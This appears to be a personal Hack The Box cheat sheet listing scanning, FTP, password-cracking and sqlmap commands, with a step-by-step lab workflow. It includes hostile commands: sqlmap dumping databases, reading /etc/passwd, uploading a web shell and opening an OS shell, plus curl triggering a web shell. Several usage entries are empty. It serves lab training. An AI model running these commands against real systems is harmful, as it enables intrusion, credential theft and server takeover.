HTB Commands Summary¶
Network Scanning¶
nmap¶
What: Network port scanner and service detection tool
Common flags:
nmap -sC -sV <IP> # Script scan + version detection
nmap -p- <IP> # Scan all 65535 ports
nmap -p- --min-rate=1000 <IP> # Fast scan with packet rate
nmap -Pn <IP> # Skip ping, treat host as up
nmap -sS <IP> # SYN stealth scan (requires sudo)
nmap -T4 <IP> # Timing template (0-5, faster)
nmap -oN output.txt <IP> # Save output to file
Use case: Discover open ports and services on target before exploitation
rustscan¶
What: Fast port scanner written in Rust, feeds results to nmap
Install:
Common flags:
rustscan -a <IP> # Basic scan
rustscan -a <IP> -- -sC -sV # Pass nmap flags after --
rustscan --ulimit 5000 -a <IP> # Increase file descriptor limit
Use case: Quick port discovery (faster than nmap alone), then detailed nmap scan
File Transfer & Access¶
ftp¶
What: File Transfer Protocol client for accessing FTP servers
Usage:
Inside FTP:
ls # List files
get <file> # Download file
put <file> # Upload file
binary # Set binary mode (for executables)
ascii # Set text mode
mget * # Download all files
cd <dir> # Change directory
bye # Exit
Use case: Download files from vulnerable FTP servers, often anonymous login allowed
Password Cracking¶
zip2john¶
What: Extract hash from password-protected ZIP files for cracking
Usage:
Use case: Prepare ZIP file for password cracking with john
john (John the Ripper)¶
What: Password cracking tool (CPU-based)
Common usage:
john hash.txt # Auto-detect and crack
john --wordlist=rockyou.txt hash.txt # Dictionary attack
john --format=raw-MD5 hash.txt # Specify hash format
john --show hash.txt # Show cracked passwords
Common formats:
- raw-MD5 - MD5 hashes
- raw-SHA256 - SHA256 hashes
- bcrypt - bcrypt hashes
Location after compiling:
Use case: Crack weak passwords from extracted hashes
hashcat¶
What: Advanced password cracking tool (GPU-accelerated)
Common flags:
hashcat -m 0 hash.txt wordlist.txt # MD5 cracking
hashcat -m 1400 hash.txt wordlist.txt # SHA256
hashcat -m 0 hash.txt wordlist.txt --show # Show cracked
hashcat -I # List devices (GPU/CPU)
Hash modes:
- -m 0 - MD5
- -m 100 - SHA1
- -m 1400 - SHA256
- -m 1000 - NTLM
- -m 17200 - PKZIP
Use case: Fast GPU-based password cracking (10-100x faster than john)
SQL Injection¶
sqlmap¶
What: Automated SQL injection and database takeover tool
Common flags:
sqlmap -u "http://IP/page.php?id=1" # Test URL
sqlmap -u "URL" --cookie="PHPSESSID=xyz" --batch # With cookie, non-interactive
sqlmap -u "URL" --dbs # List databases
sqlmap -u "URL" -D dbname --tables # List tables
sqlmap -u "URL" -D dbname -T users --dump # Dump table
sqlmap -u "URL" --os-shell # Get OS shell
sqlmap -u "URL" --file-read="/etc/passwd" # Read files
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/s.php" # Upload file
Useful flags:
- --batch - Non-interactive mode
- --dbs - Enumerate databases
- --tables - List tables
- --dump - Extract data
- --os-shell - Interactive shell (unstable)
- --file-read - Read files from server
- --file-write / --file-dest - Upload files
Downloaded files location:
Use case: Exploit SQL injection to extract data, read files, or get shell access
Data Extraction & Analysis¶
curl¶
What: Transfer data from/to servers, make HTTP requests
Common usage:
curl -i <URL> # Include headers
curl -X POST <URL> -d "user=admin&pass=123" # POST request
curl -i -X POST <URL> -d "data" # POST with headers (get cookies)
curl "http://IP/shell.php?cmd=whoami" # Execute web shell command
Use case: Test web services, extract cookies, trigger web shells
grep¶
What: Search text patterns in files
Common usage:
grep "password" file.txt # Search for pattern
grep -i "password" file.txt # Case insensitive
grep -r "password" /path/ # Recursive search
cat file.php | grep password # Search in pipe output
Use case: Find credentials, connection strings in source code
cat¶
What: Display file contents
Common usage:
Use case: Read config files, extracted data, credentials
wc¶
What: Count lines, words, characters
Common usage:
Use case: Verify wordlist size, check data extraction
File Operations¶
unzip¶
What: Extract ZIP archives
Common usage:
Use case: Extract downloaded archives from FTP/HTTP
chmod¶
What: Change file permissions
Common usage:
Use case: Make downloaded scripts/tools executable
find¶
What: Search for files and directories
Common usage:
find / -name "*.txt" 2>/dev/null # Find files by name
find / -name "*flag*" 2>/dev/null # Search for flags
find / -perm -4000 2>/dev/null # Find SUID binaries (privesc)
Use case: Locate flags, find privilege escalation vectors
Environment & Workflow¶
export¶
What: Set environment variables
Common usage:
Use case: Store target IP for quick reference in commands
which¶
What: Locate command binary path
Common usage:
Use case: Verify tool installation, find binary paths
Git (For Tool Management)¶
git clone¶
What: Clone repository
Common usage:
Use case: Download tools from GitHub (john, exploits, scripts)
git submodule¶
What: Initialize submodules in repo
Common usage:
Use case: Required for some tools like john that use submodules
Compilation¶
make¶
What: Build software from source
Common flags:
make # Build with defaults
make clean # Clean build artifacts
make -j4 # Use 4 cores
make -j$(nproc) # Use all CPU cores
sudo make install # Install compiled binaries
Use case: Compile john the ripper, custom exploits, tools
cmake¶
What: Cross-platform build system generator
Common usage:
Use case: Build complex projects that require cmake (input-leap, some exploits)
Apt Package Management¶
apt install¶
What: Install packages on Debian/Ubuntu
Common usage:
sudo apt install <package> # Install package
sudo apt update # Update package lists
sudo apt upgrade # Upgrade installed packages
sudo apt remove <package> # Remove package
Installed tools:
- john - Password cracker
- hashcat - GPU password cracker
- sqlmap - SQL injection tool
- nmap - Port scanner
- ftp - FTP client
- git - Version control
- build-essential - Compilation tools
Wordlists¶
rockyou.txt¶
What: 14 million password wordlist (most common for HTB)
Download:
curl -L -o ~/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Location after download:
Use case: Primary wordlist for password cracking on HTB
SecLists¶
What: Comprehensive security testing wordlists and payloads
Download:
Use case: Additional wordlists, directory brute force lists, fuzzing payloads
HTB Workflow Example¶
# 1. Set target IP
export IP=10.129.23.11
# 2. Quick port scan
rustscan -a $IP -- -sC -sV
# 3. Access FTP if open
ftp $IP
# Login: anonymous / <blank>
# get files
# 4. Extract protected ZIP
zip2john backup.zip > hash.txt
# 5. Crack password
~/john/run/john --wordlist=~/rockyou.txt hash.txt
# 6. Show cracked password
~/john/run/john --show hash.txt
# 7. Unzip with password
unzip backup.zip
# 8. Search for credentials
cat index.php | grep password
# 9. Test SQLi with sqlmap
curl -i -X POST http://$IP/index.php -d "username=admin&password=pass"
sqlmap -u "http://$IP/dashboard.php?search=test" --cookie="PHPSESSID=abc123" --os-shell
# 10. Exploit and get flags
Quick Reference¶
Recon:
File download:
Password cracking:
SQL injection:
Search files:
HTB Commands Reference - January 2026